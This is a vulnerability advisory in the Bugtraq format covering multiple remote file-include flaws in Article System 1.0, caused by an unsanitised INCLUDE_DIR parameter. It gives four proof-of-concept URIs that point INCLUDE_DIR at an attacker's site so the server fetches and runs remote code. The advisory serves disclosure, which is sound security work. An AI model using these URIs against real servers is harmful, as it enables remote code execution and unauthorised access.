Article System Multiple Remote File Include Vulnerabilities

Bugtraq ID:	22017
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 11 2007 12:00AM
Updated:	Jan 12 2007 05:20PM
Credit:	Dr Max Virus is credited with the discovery of this vulnerability.
Vulnerable:	Article System Article System 1.0
Not Vulnerable:

Article System Multiple Remote File Include Vulnerabilities

Article System is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Article System 1.0 is vulnerable to this issue.

Article System Multiple Remote File Include Vulnerabilities

An attacker may exploit these issues using a web client.

The following proof-of-concept URIs are available:

http://example.com/[script_path]/include/forms.php?INCLUDE_DIR=attacker's site
http://example.com/[script_path]/include/issue_edit.php?INCLUDE_DIR=attacker's site
http://example.com/[script_path]/include/client.php?INCLUDE_DIR=attacker's site
http://example.com/[script_path]/include/classes.php?INCLUDE_DIR=attacker's site

Article System Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Article System Multiple Remote File Include Vulnerabilities

References:

• Vendor Homepage (Article System)